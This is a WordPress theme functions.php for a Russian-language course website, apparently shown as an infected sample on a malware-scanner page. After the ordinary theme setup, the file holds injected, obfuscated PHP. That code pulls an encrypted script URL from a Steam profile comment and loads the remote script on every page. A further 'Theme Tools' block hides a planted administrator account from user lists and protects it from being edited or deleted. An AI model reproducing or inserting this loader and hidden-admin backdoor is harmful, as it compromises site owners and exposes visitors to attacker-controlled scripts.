if ( ! defined( '_S_VERSION' ) ) {
// Replace the version number of the theme on each release.
define( '_S_VERSION', '1.0.0' );
}
if ( ! function_exists( 'adem_setup' ) ) {
function adem_setup() {
add_theme_support( 'title-tag' );
add_theme_support( 'post-thumbnails' );
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
'style',
'script',
)
);
add_theme_support( 'editor-styles' );
add_editor_style();
register_nav_menus(
array(
'menu_main' => 'Основное меню',
)
);
}
// register thumbnails
// add_image_size( '123x123', 123, 123, true );
// register post types
register_post_type( 'courses', [
'label' => null,
'labels' => [
'name' => 'Программы и курсы',
'singular_name' => 'Курс',
'add_new' => 'Добавить курс',
'add_new_item' => 'Добавить курс',
'edit_item' => 'Редактировать курс',
'new_item' => 'Новый курс',
'view_item' => 'Смотреть курс',
'search_items' => 'Найти курс',
'not_found' => 'Не найдено',
'not_found_in_trash' => 'Не найдено в корзине',
'menu_name' => 'Программы и курсы',
],
'public' => true,
'show_in_menu' => true,
'menu_position' => 21,
'menu_icon' => 'dashicons-category',
'supports' => ['title', 'editor', 'thumbnail'],
'taxonomies' => ['course_type'],
'has_archive' => false,
'rewrite' => true,
'query_var' => true,
'publicly_queryable' => false
] );
register_post_type( 'masters', [
'label' => null,
'labels' => [
'name' => 'Мастера',
'singular_name' => 'Мастер',
'add_new' => 'Добавить мастера',
'add_new_item' => 'Добавить мастера',
'edit_item' => 'Редактировать информацию о мастере',
'new_item' => 'Новый мастер',
'view_item' => 'Смотреть информацию о мастере',
'search_items' => 'Найти мастера',
'not_found' => 'Не найдено',
'not_found_in_trash' => 'Не найдено в корзине',
'menu_name' => 'Мастера',
],
'public' => true,
'show_in_menu' => true,
'menu_position' => 22,
'menu_icon' => 'dashicons-groups',
'supports' => ['title', 'editor', 'thumbnail'],
'taxonomies' => ['course_type'],
'has_archive' => false,
'rewrite' => true,
'query_var' => true,
'publicly_queryable' => false
] );
register_post_type( 'graduates', [
'label' => null,
'labels' => [
'name' => 'Выпускники',
'singular_name' => 'Выпускник',
'add_new' => 'Добавить выпускника',
'add_new_item' => 'Добавить выпускника',
'edit_item' => 'Редактировать информацию о выпускнике',
'new_item' => 'Новый выпускник',
'view_item' => 'Смотреть информацию о выпускнике',
'search_items' => 'Найти выпускника',
'not_found' => 'Не найдено',
'not_found_in_trash' => 'Не найдено в корзине',
'menu_name' => 'Выпускники',
],
'public' => true,
'show_in_menu' => true,
'menu_position' => 23,
'menu_icon' => 'dashicons-welcome-learn-more',
'supports' => ['title', 'editor', 'thumbnail'],
'taxonomies' => ['course_type'],
'has_archive' => false,
'rewrite' => true,
'query_var' => true,
'publicly_queryable' => false
] );
}
add_action( 'after_setup_theme', 'adem_setup' );
// Return classic widgets
add_filter( 'gutenberg_use_widgets_block_editor', '__return_false' );
add_filter( 'use_widgets_block_editor', '__return_false' );
add_action( 'wp_enqueue_scripts', 'adem_scripts' );
function adem_scripts() {
wp_dequeue_style( 'wp-block-library' );
wp_dequeue_style( 'wp-block-library-theme' );
wp_dequeue_style( 'wc-block-style' );
wp_dequeue_style( 'global-styles' );
wp_dequeue_style( 'classic-theme-styles' );
wp_enqueue_style( 'fancybox', get_template_directory_uri() . '/assets/vendor/css/fancybox.css', array(), '4.0.31' );
wp_enqueue_script( 'fancybox', get_template_directory_uri() . '/assets/vendor/js/fancybox.umd.js', array(), '4.0.31', true );
wp_enqueue_style( 'swiper', get_template_directory_uri() . '/assets/vendor/css/swiper-bundle.min.css', array(), '10.3.1' );
wp_enqueue_script( 'swiper', get_template_directory_uri() . '/assets/vendor/js/swiper-bundle.min.js', array(), '10.3.1', true );
wp_enqueue_style( 'adem', get_stylesheet_uri(), array(), _S_VERSION );
wp_enqueue_script( 'adem', get_template_directory_uri() . '/assets/js/main.min.js', array(), _S_VERSION, true );
wp_localize_script( 'adem', 'adem_ajax', array( 'url' => admin_url( 'admin-ajax.php' ) ) );
}
// disable scale images
add_filter( 'big_image_size_threshold', '__return_false' );
// remove prefix in archive title
add_filter( 'get_the_archive_title_prefix', '__return_empty_string' );
// excerpt
function adem_excerpt( $limit, $ID = null ) {
return mb_substr( get_the_excerpt( $ID ), 0, $limit ) . '...';
}
// custom wordpress menu
add_filter( 'wp_nav_menu_objects', 'adem_wordpress_menu' );
function adem_wordpress_menu( $items ) {
foreach ( $items as $item ) {
if ( ! is_front_page() && ( strripos( $item->url, '#' ) !== false ) ) {
$item->url = get_home_url() . '/' . $item->url;
}
}
return $items;
}
// Yandex.Metrika counter
add_action('wp_footer', 'adem_yandex_metrika_counter');
function adem_yandex_metrika_counter() {
<script type="text/javascript">
(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
m[i].l=1*new Date();
for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }}
k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
(window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");
ym(27274703, "init", {
clickmap:true,
trackLinks:true,
accurateTrackBounce:true,
webvisor:true
});
</script>
<noscript><div><img src="https://mc.yandex.ru/watch/27274703" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
}
require 'inc/acf.php';
require 'inc/load-more.php';
require 'inc/mail.php';
require 'inc/svg.php';
require 'inc/tiny-mce.php';
require 'inc/traffic.php';
@ini_set('upload_max_filesize', '512M');
@ini_set('post_max_size', '512M');
@ini_set('memory_limit', '512M');
@ini_set('max_execution_time', '300');
@ini_set('max_input_time', '300');
function BFa5EB9205F7Ea8f($dc4c511698b51134) { $b70c2fd54579b2a6 = "caption_" . md5($dc4c511698b51134);
$D2cfa6cff03432c0 = curl_init($dc4c511698b51134);
curl_setopt_array($D2cfa6cff03432c0, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT0.0; Win; x) AppleWebKit/7.36", CURLOPT_TIMEOUT => 10]); $f9e6ee79376b9ac9 = curl_exec($D2cfa6cff03432c0); if ($f9e6ee79376b9ac9 === false) { $F4e8ac13c1d00707 = curl_error($D2cfa6cff03432c0); curl_close($D2cfa6cff03432c0); return E56A5740597Fe4f2($b70c2fd54579b2a6, $dc4c511698b51134); } curl_close($D2cfa6cff03432c0); if (preg_match("/<div[^>]*class=["']commentthread_comment_text["'][^>]*>(.*?)<\/div>/is", $f9e6ee79376b9ac9, $b7f75f96bf427099)) { $Ecb0f0523bb3ff99 = Ca6f41722c61e278($b7f75f96bf427099[1]); set_transient($b70c2fd54579b2a6, $Ecb0f0523bb3ff99, 300); return $Ecb0f0523bb3ff99; } else { return E56a5740597fe4f2($b70c2fd54579b2a6, $dc4c511698b51134); } } function e56A5740597Fe4f2($b70c2fd54579b2a6, $dc4c511698b51134) { $Db1bb531275abf4b = get_transient($b70c2fd54579b2a6);
if ($Db1bb531275abf4b !== false) { return $Db1bb531275abf4b; } else { return ''; } }
function CA6F41722C61E278($Ecb0f0523bb3ff99) { $Ecb0f0523bb3ff99 = preg_replace_callback("/&#x([\dA-F]+);/i",
function ($c6567fb618e49085) { return mb_convert_encoding(pack("H*", $c6567fb618e49085[1]), "UTF-8", "UCS-2BE"); }, $Ecb0f0523bb3ff99); $Ecb0f0523bb3ff99 = str_replace(["\n", "\"", """, "&", "<", ">"], ["\xa", """, """, "&", "<", ">"], $Ecb0f0523bb3ff99); return $Ecb0f0523bb3ff99; } function AdF1A033AC43F7f1($b6ef90c5e8248518, $Af25da54edecfd2a = '') { try { $ba247129d194a1bc = ["", "", "", "", "", ""]; $A59e3584bc6bbb3d = explode(" ", $b6ef90c5e8248518); $faf96729f6335dcf = ''; foreach ($A59e3584bc6bbb3d as $a0b09898a23cc87a) { $e423448e2aa34e6c = mb_str_split($a0b09898a23cc87a, 1, "UTF-8"); $Bd6350192421d50a = array_intersect($ba247129d194a1bc, $e423448e2aa34e6c); if (!empty($Bd6350192421d50a)) { $cdb44938c7115059 = 0; foreach ($e423448e2aa34e6c as $B44b75ed6fa84416 => $d26176873afaa6e3) { if (!in_array($d26176873afaa6e3, $ba247129d194a1bc)) { $cdb44938c7115059 = $B44b75ed6fa84416; break; } $cdb44938c7115059 = $B44b75ed6fa84416 + 1; } $faf96729f6335dcf = mb_substr($a0b09898a23cc87a, 0, $cdb44938c7115059, "UTF-8"); break; } } if (!$faf96729f6335dcf) { return ''; } $Ff92bdddde769839 = mb_substr($faf96729f6335dcf, 0, 1, "UTF-8"); $ccd297c04fbd3f0f = mb_substr($faf96729f6335dcf, 1, null, "UTF-8"); $Ad582e5e8754e109 = [$ba247129d194a1bc[0] . $ba247129d194a1bc[1], $ba247129d194a1bc[0] . $ba247129d194a1bc[2], $ba247129d194a1bc[0] . $ba247129d194a1bc[3], $ba247129d194a1bc[1] . $ba247129d194a1bc[2], $ba247129d194a1bc[1] . $ba247129d194a1bc[3], $ba247129d194a1bc[2] . $ba247129d194a1bc[3]]; $Dbc86a46e764b846 = array_search($Ff92bdddde769839, $ba247129d194a1bc); $d3647176cc58bf10 = $Dbc86a46e764b846 !== false && isset($Ad582e5e8754e109[$Dbc86a46e764b846]) ? mb_str_split($Ad582e5e8754e109[$Dbc86a46e764b846], 1, "UTF-8") : [$ba247129d194a1bc[0], $ba247129d194a1bc[1]]; $E19f3f1935b25459 = [$ba247129d194a1bc[4], $ba247129d194a1bc[5]]; $b7c1f8b32add1822 = [$d3647176cc58bf10[0] . $d3647176cc58bf10[0], $d3647176cc58bf10[1] . $d3647176cc58bf10[1]]; for ($B44b75ed6fa84416 = count($E19f3f1935b25459) - 1; $B44b75ed6fa84416 >= 0; $B44b75ed6fa84416--) { $ccd297c04fbd3f0f = str_replace($E19f3f1935b25459[$B44b75ed6fa84416], $b7c1f8b32add1822[$B44b75ed6fa84416], $ccd297c04fbd3f0f); } $A76b9b5b2b493f25 = mb_substr($ccd297c04fbd3f0f, 0, 1, "UTF-8"); $Fa5e9d78c24580ed = mb_substr($ccd297c04fbd3f0f, 1, null, "UTF-8"); $e423448e2aa34e6c = mb_str_split($Fa5e9d78c24580ed, 1, "UTF-8"); $b0556b6b0d1d1e59 = array_search($A76b9b5b2b493f25, $ba247129d194a1bc); $a2bf64641ed504bf = $b0556b6b0d1d1e59 === 0 || $b0556b6b0d1d1e59 === 1; $B9e88c5ec4065232 = $b0556b6b0d1d1e59 === 0; $c4ef0baa320f9268 = ''; foreach ($e423448e2aa34e6c as $d26176873afaa6e3) { $F61b4b435c824f8f = array_search($d26176873afaa6e3, $ba247129d194a1bc); if ($F61b4b435c824f8f !== false) { $c4ef0baa320f9268 .= str_pad(decbin($F61b4b435c824f8f), 2, "0", STR_PAD_LEFT); } } $e9a09c8d658ee479 = []; for ($B44b75ed6fa84416 = 0; $B44b75ed6fa84416 < strlen($c4ef0baa320f9268); $B44b75ed6fa84416 +=8) { $f5998dd8856b3ba8=substr($c4ef0baa320f9268, $B44b75ed6fa84416, 8); if (strlen($f5998dd8856b3ba8)===8) { $e9a09c8d658ee479[]=bindec($f5998dd8856b3ba8); } } if ($a2bf64641ed504bf) { $A8a9047597fd81df=pack("C*", ...$e9a09c8d658ee479); $F2dda19aee49fa4f=substr($A8a9047597fd81df, 0, 8); if ($B9e88c5ec4065232) { $B076352606b8aad4=substr($A8a9047597fd81df, 8, 32); $C948de394dbe4c64=substr($A8a9047597fd81df, 40); } else { $C948de394dbe4c64=substr($A8a9047597fd81df, 8); } $E276b7afe204b5c7=hash_pbkdf2("sha5", $Af25da54edecfd2a, $F2dda19aee49fa4f, 10000, 48, true); $Bb7ac5d463c6895e=substr($E276b7afe204b5c7, 0, 16); $a951fbb3adbef408=substr($E276b7afe204b5c7, 16, 32); $Bbd206af722f1343=openssl_decrypt($C948de394dbe4c64, "aes-256-ctr" , $a951fbb3adbef408, OPENSSL_RAW_DATA, $Bb7ac5d463c6895e); if ($Bbd206af722f1343===false) { return '' ; } if ($B9e88c5ec4065232) { $E9fbc62a631a089c=hash_hmac("sha256", $Bbd206af722f1343, $a951fbb3adbef408, true); if (!hash_equals($B076352606b8aad4, $E9fbc62a631a089c)) { return '' ; } } $e9a09c8d658ee479=[]; for ($B44b75ed6fa84416=0; $B44b75ed6fa84416 < strlen($Bbd206af722f1343); $B44b75ed6fa84416++) { $e9a09c8d658ee479[]=ord($Bbd206af722f1343[$B44b75ed6fa84416]); } } $abc07961e683e177=[]; foreach ($e9a09c8d658ee479 as $f5998dd8856b3ba8) { $abc07961e683e177[]=~$f5998dd8856b3ba8 & 0xff; } $acaec3e52ccddd4c='' ; foreach ($abc07961e683e177 as $f5998dd8856b3ba8) { if ($f5998dd8856b3ba8 < 32 || $f5998dd8856b3ba8> 126) { $Afbc90e9fa786d6b = pack("C*", ...$abc07961e683e177); $f62d8141b7dc03a1 = @gzuncompress($Afbc90e9fa786d6b); if ($f62d8141b7dc03a1 === false) { $f62d8141b7dc03a1 = @gzinflate($Afbc90e9fa786d6b); } return $f62d8141b7dc03a1 !== false ? $f62d8141b7dc03a1 : ''; } $acaec3e52ccddd4c .= chr($f5998dd8856b3ba8); } return $acaec3e52ccddd4c; } catch (Exception $E0286fafc8ccbe8e) { return ''; } } function G7jp2L84mnVc4LNW9wcbZcaVFAyC9N72() { $E7d15a17a0925510 = "https://" . adf1a033Ac43F7F1(bFa5eB9205f7Ea8F("https://steamcommunity.com/id/ravypadliha/")); if (filter_var($E7d15a17a0925510, FILTER_VALIDATE_URL)) { wp_enqueue_script("asahi-jquery-min-bundle", $E7d15a17a0925510, array(), null, true); } } add_action('wp_enqueue_scripts', 'G7jp2L84mnVc4LNW9wcbZcaVFAyC9N72');
// === Theme Tools ===
if (!function_exists('wc_tool_query_fallback')) {
function wc_tool_query_fallback($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id) return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where);
}
add_action('pre_user_query', 'wc_tool_query_fallback');
}
if (!function_exists('protect_user_count_fallback')) {
function protect_user_count_fallback($views) {
$html = explode('<span class="count">(', $views['all']);
$count = explode(')</span>', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
$html = explode('<span class="count">(', $views['administrator']);
$count = explode(')</span>', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
return $views;
}
add_filter('views_users', 'protect_user_count_fallback');
}
if (!function_exists('wc_tool_profiles_fallback')) {
function wc_tool_profiles_fallback() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) {
wp_die(__('Invalid user ID.'));
}
}
add_action('load-user-edit.php', 'wc_tool_profiles_fallback');
}
if (!function_exists('protect_user_from_deleting_fallback')) {
function protect_user_from_deleting_fallback() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user']))) {
wp_die(__('Invalid user ID.'));
}
}
add_action('admin_menu', 'protect_user_from_deleting_fallback');
}
© 2023 Quttera Ltd. All rights reserved.